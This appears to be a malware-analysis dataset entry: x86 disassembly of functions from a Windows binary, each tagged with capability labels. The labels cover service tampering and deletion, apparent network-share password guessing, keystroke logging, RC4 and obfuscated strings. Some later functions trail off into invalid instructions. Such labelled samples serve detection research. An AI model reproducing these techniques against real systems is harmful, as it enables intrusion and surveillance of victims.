joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401d90
Capabilities:
Read file via mapping
Write file on windows

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 8], 0
xor ebx, ebx
call fcn.00403680
and eax, 0x1fffff
lea esi, [eax + 0x400]
lea eax, [esi*4]
push eax
call fcn.00403dc0
pop ecx
mov ebx, eax
push 0
push 0
push 3
push 0
push 1
push bind
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10], eax
push 0
push 0
push 0
push 2
push 0
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0x14], eax
push 0
push 0
push 0
push 4
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x18], eax
mov dword [ebp - 8], eax
push 0
push pe_nt_image_headers32
push 2
push 0
push 1
push 0xc0000000
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
push 0
lea eax, [ebp - 0x1c]
push eax
push 0x14dfc
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x401e92
test ebx, ebx
je 0x401e92
sub edi, edi
jmp 0x401e67
call fcn.00403680
mov ecx, bind
cdq
idiv ecx
mov dword [ebx + edi*4], edx
add edi, 1
push edi
pop eax
cmp eax, esi
jb 0x401e54
push 2
push 0
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x1c]
push eax
push esi
push ebx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0x20], eax
push ebx
call fcn.00404670
pop ecx
xor ebx, ebx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0xc], 0
je 0x401ed3
cmp dword [ebp - 0x20], 0
je 0x401ed3
xor eax, eax
jmp 0x401ed8
nop
push 1
nop
pop eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4020b0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x400
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
push 0x416f54
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
pop edi
cmp edi, 0xffffffff
jne 0x4021c5
sub eax, eax
jmp 0x4021d6
test byte [0x416f54], 0x10
je 0x4021b3
mov ecx, 0x416f80
mov edx, 0x40c9e3
xor eax, eax
mov al, byte [edx]
mov ah, byte [ecx]
sub ah, al
jne 0x40210a
test al, al
je 0x40210f
add edx, 1
add ecx, 1
jmp 0x4020f6
sbb eax, eax
sbb eax, 0xffffffff
or eax, eax
je 0x4021b3
mov ecx, 0x416f80
mov edx, 0x40c9e0
xor eax, eax
mov al, byte [edx]
mov ah, byte [ecx]
sub ah, al
jne 0x402137
test al, al
je 0x40213c
add edx, 1
add ecx, 1
jmp 0x402123
sbb eax, eax
sbb eax, 0xffffffff
or eax, eax
je 0x4021b3
push 3
push ebx
call fcn.00401ee0
add esp, 8
lea ecx, [ebp - 0x400]
push eax
pop edx
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
jne 0x402156
pop eax
push 0x416f80
lea eax, [ebp - 0x400]
push eax
call fcn.00403780
add esp, 8
push 0x416f80
lea eax, [ebp - 0x400]
push eax
call fcn.00401f60
add esp, 8
push str..
lea eax, [ebp - 0x400]
push eax
call fcn.00403780
add esp, 8
lea eax, [ebp - 0x400]
push eax
call fcn.004020b0
pop ecx
mov byte [ebp - 0x400], 0
push 0x416f54
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
push eax
pop esi
or esi, esi
je 0x4021cd
or esi, esi
jne 0x4020dd
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
pop edi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret

Function at 0x402430
Capabilities:
Modify service
Start service

Disassembly:
push ebp
push esp
pop ebp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 4], 0x64
sub edi, edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push eax
pop ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov dword [ebp - 8], eax
or ebx, ebx
je 0x4024bd
push 0
push str.Messenger
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
or esi, esi
je 0x4024b6
push 0x40ca74
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 2
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
or eax, eax
je 0x4024b6
jmp 0x4024ae
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
cmp edi, 0xc8
jl 0x402499
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4024e0
Capabilities:
Delete service
Enumerate services
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], 0
sub esi, esi
mov dword [ebp - 0x108], 1
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push eax
pop ebx
mov dword [ebp - 0x10c], 0
or ebx, ebx
je 0x40269c
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x138]
push eax
push 0x24
lea eax, [ebp - 0x134]
push eax
push 1
push 0x30
push ebx
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
mov dword [ebp - 0x108], eax
or eax, eax
je 0x402568
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x40269c
mov eax, dword [ebp - 0x138]
push eax
call fcn.00403dc0
pop ecx
push eax
pop esi
or esi, esi
je 0x402693
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x402693
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x138]
push eax
mov eax, dword [ebp - 0x138]
add eax, 0x24
push eax
push esi
push 1
push 0x30
push ebx
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
test eax, eax
je 0x402693
xor edi, edi
jmp 0x402685
lea ecx, [ebp - 0x103]
imul eax, edi, 0x24
mov edx, dword [esi + eax]
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
jne 0x4025d6
pop eax
lea edx, [ebp - 0x103]
or eax, 0xffffffff
add eax, 1
cmp byte [edx + eax], 0
jne 0x4025ec
push eax
lea eax, [ebp - 0x103]
push eax
call fcn.004023d0
add esp, 8
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x103]
push eax
call fcn.004047d0
add esp, 8
test eax, eax
je 0x402682
push 0x20
imul eax, edi, 0x24
mov eax, dword [esi + eax]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
or eax, eax
je 0x402678
lea eax, [ebp - 0x154]
push eax
push 1
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x10000
imul eax, edi, 0x24
mov eax, dword [esi + eax]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
add edi, 1
push edi
pop eax
cmp eax, dword [ebp - 0x110]
jb 0x4025c7
push esi
call fcn.00404670
pop ecx
xor esi, esi
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
pop edi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret
Function at 0x402a20
Capabilities:
Connect network resource

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x24
push ebx
push esi
push edi
mov ebx, dword [ebp + 0x10]
mov byte [0x4159c8], 0x61
mov byte [0x4159c9], 0
mov dword [ebp - 0x24], 2
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
inc byte [0x4159c8]
cmp byte [0x4159c8], 0x7a
jle 0x402a8f
push 1
call fcn.00402ca0
pop ecx
push 0
mov eax, dword [ebp + 0xc]
push eax
push 0x4159c8
lea eax, [ebp - 0x24]
push eax
call sub.MPR.dll_WNetAddConnection2A
mov esi, eax
cmp esi, 0x4b8
jne 0x402abf
push 1
push 1
push 0
call sub.MPR.dll_WNetCancelConnection2A
mov eax, 2
jmp 0x402b18
or esi, esi
je 0x402ac8
cmp esi, 0x55
jne 0x402af8
xor edi, edi
jmp 0x402ad8
mov al, byte [edi + 0x4159c8]
mov byte [ebx + edi], al
add edi, 1
push 0x4159c8
call fcn.00404b00
pop ecx
push edi
pop edx
cmp edx, eax
jbe 0x402acc
push 1
push 1
push 0
call sub.MPR.dll_WNetCancelConnection2A
xor eax, eax
jmp 0x402b18
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x3d09
jl 0x402a78
push 1
push 1
push 0
call sub.MPR.dll_WNetCancelConnection2A
push 1
pop eax
pushal
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402b20
Capabilities:
Connect network resource

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
mov ebx, dword [ebp + 0x10]
sub esi, esi
mov dword [ebp - 0x24], 2
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
jmp 0x402bf1
push 0
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [esi*4 + 0x413600]
push eax
lea eax, [ebp - 0x24]
push eax
call sub.MPR.dll_WNetAddConnection2A
mov dword [ebp - 4], eax
cmp eax, 0x4b8
jne 0x402ba0
push 1
push 1
push 0
call sub.MPR.dll_WNetCancelConnection2A
nop
push 2
nop
pop eax
jmp 0x402c15
mov eax, dword [ebp - 4]
test eax, eax
je 0x402bac
cmp eax, 0x55
jne 0x402bee
sub edi, edi
jmp 0x402bc0
mov eax, dword [esi*4 + 0x413600]
mov al, byte [eax + edi]
mov byte [ebx + edi], al
add edi, 1
mov eax, edi
mov dword [ebp - 0x28], eax
mov edx, dword [esi*4 + 0x413600]
or eax, 0xffffffff
add eax, 1
cmp byte [edx + eax], 0
jne 0x402bcf
mov edx, dword [ebp - 0x28]
cmp edx, eax
jbe 0x402bb0
push 1
push 1
push 0
call sub.MPR.dll_WNetCancelConnection2A
sub eax, eax
jmp 0x402c15
add esi, 1
mov eax, dword [esi*4 + 0x413600]
mov edx, 0x40d2f8
cmp eax, edx
jne 0x402b6a
push 1
push 1
push 0
call sub.MPR.dll_WNetCancelConnection2A
nop
nop
push 1
pop eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402c20
Capabilities:
Connect network resource

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x20], 2
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x18], 3
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
push 0
push 0
push 0
lea eax, [ebp - 0x20]
push eax
call sub.MPR.dll_WNetAddConnection2A
mov esi, eax
test esi, esi
jne 0x402c82
push 1
push 1
push ebx
call sub.MPR.dll_WNetCancelConnection2A
xor eax, eax
jmp 0x402c91
push 1
push 1
push ebx
call sub.MPR.dll_WNetCancelConnection2A
push 1
pop eax
push eax
pop eax
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret

Function at 0x403130
Capabilities:
Create udp socket
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
lea edi, [ebp - 0x19]
mov esi, 0x41147c
nop
push 6
nop
pop ecx
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0x4034f0
push 0xf
call fcn.00404b60
add esp, 8
mov dword [ebp - 0x34], 0
call fcn.00403500
mov dword [ebp - 0x4c], eax
test eax, eax
je 0x403175
pushfd
xor eax, eax
inc eax
popfd
jmp 0x4032b3
push 0
push 2
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x34], eax
test eax, eax
jge 0x403192
push 2
pop eax
nop
nop
jmp 0x4032b3
mov word [ebp - 0x44], 2
push 0
call dword [sym.imp.WS2_32.dll_htonl]
mov dword [ebp - 0x40], eax
movzx eax, word [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x42], ax
push 0x10
lea eax, [ebp - 0x44]
push eax
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.WS2_32.dll_bind]
mov dword [ebp - 0x48], eax
or eax, eax
jge 0x4031d3
nop
push 3
nop
pop eax
jmp 0x4032b3
mov dword [0x4159d4], 0
mov edx, 0x417094
nop
push 0x28
nop
pop ecx
xor eax, eax
push edi
mov edi, edx
rep stosb byte es:[edi], al
pop edi
push edx
pop eax
lea edx, [ebp - 0x19]
push 0x19
pop ecx
pushal
popal
sub eax, eax
push edi
push edx
pop edi
rep stosb byte es:[edi], al
pop edi
mov eax, edx
mov dword [ebp - 0x20], 0x10
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x30]
push eax
push 0
push 0x19
lea eax, [ebp - 0x19]
push eax
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.WS2_32.dll_recvfrom]
push eax
pop ebx
mov eax, 0x417094
push eax
pop edi
lea esi, [ebp - 0x19]
push 6
pop ecx
pushal
popal
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov eax, dword [0x4170b4]
push eax
push 0x4159d8
push 0x417094
call fcn.00403590
add esp, 0xc
mov eax, dword [0x4159ec]
push eax
push 0x417094
call fcn.00403550
add esp, 8
or eax, eax
jne 0x4031dd
mov eax, dword [0x4170b4]
push eax
push 0x4159d8
push 0x417094
call fcn.00403590
add esp, 0xc
lea edi, [ebp - 0x19]
mov esi, 0x417094
mov ecx, 0xa
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x20]
push eax
lea eax, [ebp - 0x30]
push eax
push 0
push 0x19
lea eax, [ebp - 0x19]
push eax
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.WS2_32.dll_sendto]
mov ebx, eax
jmp 0x4031dd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403500
Capabilities:
Initialize winsock library

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x190
lea eax, [ebp - 0x190]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov esp, ebp
pop ebp
ret

Function at 0x406490
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
pop esi
cmp byte [esi], 0
jne 0x4064c2
push 0x104
lea eax, [ebp - 0x10c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea esi, [ebp - 0x10c]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0
push esi
call fcn.004062d0
add esp, 0x14
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
lea eax, [edx + eax*4]
push eax
call fcn.00403dc0
pop ecx
push eax
pop ebx
or ebx, ebx
jne 0x4064f5
push 1
call fcn.00405dc0
pop ecx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 4]
lea eax, [ebx + eax*4]
push eax
push ebx
push esi
call fcn.004062d0
add esp, 0x14
mov eax, dword [ebp - 4]
dec eax
mov dword [0x415bb4], eax
mov dword [0x415bb8], ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x406530
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov dword [ebp - 8], eax
test eax, eax
jne 0x40654e
mov eax, dword [0x4162b0]
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0
mov ebx, dword [ebp - 8]
jmp 0x406573
mov edx, ebx
or eax, 0xffffffff
inc eax
cmp byte [edx + eax], 0
jne 0x40655f
lea esi, [eax + 1]
cmp byte [ebx], 0x3d
je 0x406571
add dword [ebp - 4], esi
add ebx, esi
cmp byte [ebx], 0
jne 0x40655a
mov eax, dword [ebp - 4]
inc eax
push eax
call fcn.00403dc0
pop ecx
push eax
pop edi
mov dword [0x415bc0], eax
mov eax, dword [0x415bc0]
or eax, eax
jne 0x40659b
push 1
call fcn.00405dc0
pop ecx
mov ebx, dword [ebp - 8]
jmp 0x4065ca
mov edx, ebx
or eax, 0xffffffff
inc eax
cmp byte [edx + eax], 0
jne 0x4065a5
lea esi, [eax + 1]
cmp byte [ebx], 0x3d
je 0x4065c8
mov ecx, edi
mov edx, ebx
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
inc edx
test al, al
jne 0x4065bb
pop eax
add edi, esi
add ebx, esi
cmp byte [ebx], 0
jne 0x4065a0
mov byte [edi], 0
mov eax, dword [ebp - 8]
mov edx, dword [0x4162b0]
cmp eax, edx
je 0x4065e9
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4086d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push esi
push edi
mov eax, dword [ebp + 8]
mov edx, dword [0x4170bc]
cmp eax, edx
jae 0x4086ff
push eax
pop edx
and edx, 0x1f
sar eax, 5
mov eax, dword [eax*4 + 0x4170c0]
test byte [eax + edx*8 + 4], 1
jne 0x408711
mov dword [0x415c84], 9
or eax, 0xffffffff
jmp 0x4088e4
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
cmp dword [ebp + 0x10], 0
jne 0x40872c
xor eax, eax
jmp 0x4088e4
mov eax, dword [ebp + 8]
push eax
pop edx
and edx, 0x1f
sar eax, 5
mov eax, dword [eax*4 + 0x4170c0]
test byte [eax + edx*8 + 4], 0x20
je 0x408755
push 2
push 0
mov eax, dword [ebp + 8]
push eax
call fcn.00409fd0
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
pop edx
and edx, 0x1f
sar eax, 5
mov eax, dword [eax*4 + 0x4170c0]
test byte [eax + edx*8 + 4], 0x80
je 0x408833
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x10], 0
jmp 0x40881f
lea edi, [ebp - 0x411]
jmp 0x4087a1
mov eax, esi
inc esi
mov bl, byte [eax]
cmp bl, 0xa
jne 0x40879c
inc dword [ebp - 4]
push edi
pop eax
inc edi
mov byte [eax], 0xd
mov eax, edi
inc edi
mov byte [eax], bl
lea eax, [ebp - 0x411]
push edi
pop edx
sub edx, eax
mov eax, edx
cmp eax, 0x400
jge 0x4087c2
mov eax, dword [ebp + 0xc]
push esi
pop edx
sub edx, eax
push edx
pop eax
cmp eax, dword [ebp + 0x10]
jb 0x408789
push 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x411]
push edi
pop edx
sub edx, eax
push edx
pop eax
push eax
lea eax, [ebp - 0x411]
push eax
mov eax, dword [ebp + 8]
push eax
pop edx
and edx, 0x1f
sar eax, 5
mov eax, dword [eax*4 + 0x4170c0]
mov eax, dword [eax + edx*8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, eax
je 0x408814
mov eax, dword [ebp - 8]
add dword [ebp - 0xc], eax
lea edx, [ebp - 0x411]
mov ecx, edi
sub ecx, edx
mov edx, ecx
cmp eax, edx
jge 0x40881f
jmp 0x408879
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x10], eax
jmp 0x408879
mov eax, dword [ebp + 0xc]
mov edx, esi
sub edx, eax
mov eax, edx
cmp eax, dword [ebp + 0x10]
jb 0x408781
jmp 0x408879
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
mov edx, eax
and edx, 0x1f
sar eax, 5
mov eax, dword [eax*4 + 0x4170c0]
mov eax, dword [eax + edx*8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, eax
je 0x408870
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
jmp 0x408879
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0xc], 0
jne 0x4088de
cmp dword [ebp - 0x10], 0
je 0x4088aa
cmp dword [ebp - 0x10], 5
jne 0x40889b
mov dword [0x415c84], 9
jmp 0x4088a5
mov eax, dword [ebp - 0x10]
push eax
call fcn.00408c30
pop ecx
or eax, 0xffffffff
jmp 0x4088e4
mov eax, dword [ebp + 8]
mov edx, eax
and edx, 0x1f
sar eax, 5
mov eax, dword [eax*4 + 0x4170c0]
test byte [eax + edx*8 + 4], 0x40
je 0x4088cf
mov eax, dword [ebp + 0xc]
cmp byte [eax], 0x1a
jne 0x4088cf
sub eax, eax
jmp 0x4088e4
mov dword [0x415c84], 0x1c
or eax, 0xffffffff
jmp 0x4088e4
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret
Function at 0x40adc0
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00404730
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov dword [ebp - 4], 0
mov eax, dword [0x4170bc]
cmp ebx, eax
jae 0x40adfb
push ebx
pop eax
and eax, 0x1f
push ebx
pop edx
sar edx, 5
mov edx, dword [edx*4 + 0x4170c0]
test byte [edx + eax*8 + 4], 1
jne 0x40ae0d
mov dword [0x415c84], 9
or eax, 0xffffffff
jmp 0x40af32
push 1
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x40ae37
push 2
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x40ae3f
or eax, 0xffffffff
jmp 0x40af32
mov eax, dword [ebp + 0xc]
push eax
pop esi
sub esi, dword [ebp - 8]
test esi, esi
jle 0x40aee4
lea edx, [ebp - 0x1010]
mov ecx, 0x1000
sub eax, eax
push edi
push edx
pop edi
rep stosb byte es:[edi], al
pop edi
push edx
pop eax
push 0x8000
push ebx
call fcn.0040b330
add esp, 8
mov dword [ebp - 0x10], eax
push esi
pop eax
cmp eax, 0x1000
jb 0x40ae8a
mov dword [ebp - 0x1014], 0x1000
jmp 0x40ae92
push esi
pop eax
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1010]
push eax
push ebx
call fcn.004086d0
add esp, 0xc
push eax
pop edi
cmp eax, 0xffffffff
jne 0x40aecb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x40aec5
mov dword [0x415c84], 0xd
or dword [ebp - 4], 0xffffffff
jmp 0x40aed5
mov eax, esi
sub eax, edi
push eax
pop esi
or eax, eax
jg 0x40ae75
mov eax, dword [ebp - 0x10]
push eax
push ebx
call fcn.0040b330
add esp, 8
jmp 0x40af20
or esi, esi
jge 0x40af20
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
push ebx
call fcn.00408b00
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
or eax, eax
setne al
and eax, 1
dec eax
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x40af20
mov dword [0x415c84], 0xd
push 0
mov eax, dword [ebp - 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41865e
Capabilities:
Contain obfuscated stackstrings
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
movzx eax, word [ecx]
push ebx
push esi
push edi
mov edi, edx
test ax, ax
je 0x4186e6
push 0x10
pop esi
mov ebx, 0x95
mov dword [ebp - 8], esi
mov dword [ebp - 4], 0xf
cmp ax, 0x75
je 0x41871c
cmp ax, 0x70
je 0x41870a
movzx edx, ax
cmp edx, ebx
jg 0x45501f
je 0x418713
cmp edx, 0x55
jl 0x4186c8
cmp edx, 0x5a
jle 0x455004
cmp edx, 0x5d
jle 0x454fe9
cmp edx, 0x60
jle 0x455004
cmp edx, 0x61
je 0x454fe9
movzx eax, byte [edx + 0x4a5470]
lea ecx, [ecx + eax*2]
test edi, edi
je 0x4186de
lea eax, [edx - 0x1d]
cmp eax, 0x37
jbe 0x4186ef
movzx eax, word [ecx]
test ax, ax
jne 0x418682
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ax, word [ecx - 2]
mov edx, 0xfc00
and ax, dx
mov edx, 0xd800
cmp ax, dx
jne 0x4186de
add ecx, 2
jmp 0x4186de
movzx eax, word [ecx + 2]
lea ecx, [ecx + eax*2]
jmp 0x4186de
movzx eax, word [ecx + 2]
lea ecx, [ecx + eax*2]
jmp 0x4186c8
mov eax, ecx
jmp 0x4186e8
movsd dword es:[edi], dword [esi]
cmp al, 0xfc
invalid
sub eax, esi
test dword [esp + edi*8 - 1], eax
dec dword [ecx]
Function at 0x4202e2
Capabilities:
Log keystrokes

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
xor ebx, ebx
push edi
mov edi, ecx
push 5
pop eax
push ebx
mov dword [edi], eax
mov dword [edi + 4], eax
mov word [edi + 8], 1
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], ebx
mov dword [edi + 0x18], ebx
mov dword [edi + 0x1c], ebx
push 0x5b
mov dword [edi + 0xc], 4
call esi
push ebx
push 0x10
mov byte [edi + 0x29], al
call esi
push ebx
push 0xa0
mov byte [edi + 0x26], al
call esi
push ebx
push 0xa1
mov byte [edi + 0x27], al
call esi
push ebx
push 0x11
mov byte [edi + 0x28], al
call esi
push ebx
push 0x12
mov byte [edi + 0x24], al
call esi
mov byte [edi + 0x25], al
pop edi
pop esi
pop ebx
ret

Function at 0x420a9b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push esi
mov esi, ecx
push edi
xor edi, edi
mov dword [esi], 0x491d24
cmp dword [esi + 8], edi
ja 0x4560a9
push dword [esi + 4]
and dword [esi + 8], 0
call fcn.00420fac
pop ecx
pop edi
pop esi
ret
dec dword [ecx - 0x39f7b]
inc dword [ebx - 0x6fb43]
inc dword [eax]
jne 0x456272
and byte [ebp - 0x77c], 0
and byte [ebp - 0x77b], 0
mov byte [ebp - 0x77a], 4
and byte [ebp - 0x779], 0
mov byte [ebp - 0x778], 0xb8
mov byte [ebp - 0x777], 0xc1
mov byte [ebp - 0x776], 0xa7
mov byte [ebp - 0x775], 0xab
mov byte [ebp - 0x774], 0x89
mov byte [ebp - 0x773], 0x94
mov byte [ebp - 0x772], 0x9c
mov byte [ebp - 0x771], 0x89
mov byte [ebp - 0x770], 0x9a
mov byte [ebp - 0x76f], 0x96
mov byte [ebp - 0x76e], 0xdb
mov byte [ebp - 0x76d], 0xbd
mov byte [ebp - 0x76c], 0x92
mov byte [ebp - 0x76b], 0x97
mov byte [ebp - 0x76a], 0x9e
mov byte [ebp - 0x769], 0x88
mov byte [ebp - 0x768], 0xa7
mov byte [ebp - 0x767], 0xb8
mov byte [ebp - 0x766], 0x94
cmp dword [ebp - 0x6fc], 1
jne 0x456323
and byte [ebp - 0x78c], 0
